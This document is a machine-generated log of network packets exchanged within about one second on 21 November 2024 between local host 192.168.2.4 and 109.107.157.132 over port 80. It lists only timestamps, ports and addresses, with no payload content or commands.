Nov 21, 2024 22:33:45.250427961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.250562906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.250612974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.251769066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.251820087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.251919031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.251965046 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.253284931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.253334045 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.253362894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.253411055 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.254795074 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.254842997 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.254863977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.254913092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.256419897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.256472111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.256473064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.256520033 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.334882021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.334996939 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.335110903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.335171938 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.335257053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.335309982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.335330963 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.335391998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.336126089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.336180925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.336189985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.336236954 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.337677956 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.337726116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.337765932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.337812901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.339225054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.339274883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.339294910 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.339338064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.340761900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.340810061 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.340833902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.340878963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.342212915 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.342253923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.342268944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.342298031 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.427678108 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.427699089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.427747011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.427766085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.436041117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.436093092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.436103106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.436142921 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.436742067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.436786890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.436801910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.436827898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.440363884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.440375090 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.440387011 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.440418959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.440454006 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.440521002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.440565109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.441785097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.441837072 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.441967964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.442014933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.443403006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.443451881 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.443576097 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.443618059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.514928102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.515007973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.515109062 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.515151978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.518003941 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.518083096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.519851923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.519917011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.521184921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.521233082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.521368027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.521413088 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.522958040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.522969007 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.523010969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.523119926 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.523130894 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.523170948 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.523282051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.523292065 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.523328066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.523945093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.524002075 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.524743080 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.524790049 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.529884100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.529959917 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.592447996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.592521906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.592576981 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.592596054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.593141079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.593192101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.593233109 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.593280077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.594647884 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.594702959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.595192909 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.595242977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.595283031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.595330000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.596751928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.596797943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.596857071 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.596903086 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.598278999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.598328114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.598548889 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.598596096 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.599796057 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.599845886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.599879026 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.599912882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.601279974 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.601325989 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.601402044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.601452112 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.688052893 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.688110113 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.688224077 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.688271999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.688718081 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.688771009 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.688880920 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.688930988 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.690231085 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.690278053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.690779924 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.690821886 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.690907001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.690952063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.692308903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.692358971 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.692450047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.692549944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.693825006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.693867922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.693968058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.694016933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.695362091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.695408106 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.695447922 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.695497036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.696940899 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.696989059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.697072029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.697118044 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.698548079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.698602915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.698683023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.698728085 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.766324997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.766402960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.766448975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.766491890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.767035961 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.767081976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.767147064 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.767187119 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.768481016 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.768523932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.768537998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.768574953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.770045996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.770087957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.770107985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.770145893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.771522999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.771563053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.771605015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.771645069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.773025990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.773062944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.773118019 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.773158073 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.774591923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.774633884 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.774672985 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.774709940 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.776140928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.776186943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.776245117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.776283979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.777839899 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.777884007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.844578028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.844666958 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.844702005 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.844747066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.845252991 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.845303059 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.845355034 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.845396996 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.846810102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.846859932 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.846872091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.846910000 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.848239899 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.848289967 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.848329067 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.848368883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.849776983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.849826097 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.849898100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.849942923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.851279020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.851325035 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.851385117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.851428986 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.852832079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.852878094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.852957010 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.853003025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.854365110 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.854409933 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.854443073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.854490042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.855786085 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.855833054 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.922857046 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.922918081 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.922941923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.922982931 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.923563004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.923604965 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.923640013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.923677921 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.925069094 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.925129890 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.925167084 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.925211906 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.926626921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.926711082 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.926737070 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.926778078 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.928117990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.928170919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.928225994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.928270102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.929639101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.929681063 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.929815054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.929857969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.931165934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.931206942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.931289911 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.931325912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.932656050 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.932697058 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.932851076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.932892084 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:45.934144020 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:45.934192896 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.001077890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.001158953 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.001267910 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.001317024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.001734018 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.001782894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.001858950 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.001908064 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.003247023 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.003294945 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.003418922 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.003470898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.004746914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.004791975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.004821062 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.004867077 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.006330013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.006376982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.006469965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.006515980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.007800102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.007848978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.007898092 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.007941008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.009299994 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.009346008 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.009403944 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.009449959 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.010834932 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.010902882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.010936022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.010981083 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.012329102 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.012377977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.012439013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.012485027 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.013838053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.013885021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.079569101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.079590082 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.079643011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.080193043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.080269098 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.080499887 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.080552101 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.080585003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.080631018 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.082019091 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.082096100 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.082129002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.082185984 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.083563089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.083616972 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.083802938 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.083853960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.085062027 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.085109949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.085136890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.085180998 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.086601973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.086656094 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.086700916 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.086752892 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.088126898 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.088180065 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.088258982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.088314056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.089653015 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.089692116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.089714050 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.089730978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:46.091141939 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:46.091193914 CET	49759	80	192.168.2.4	109.107.157.132
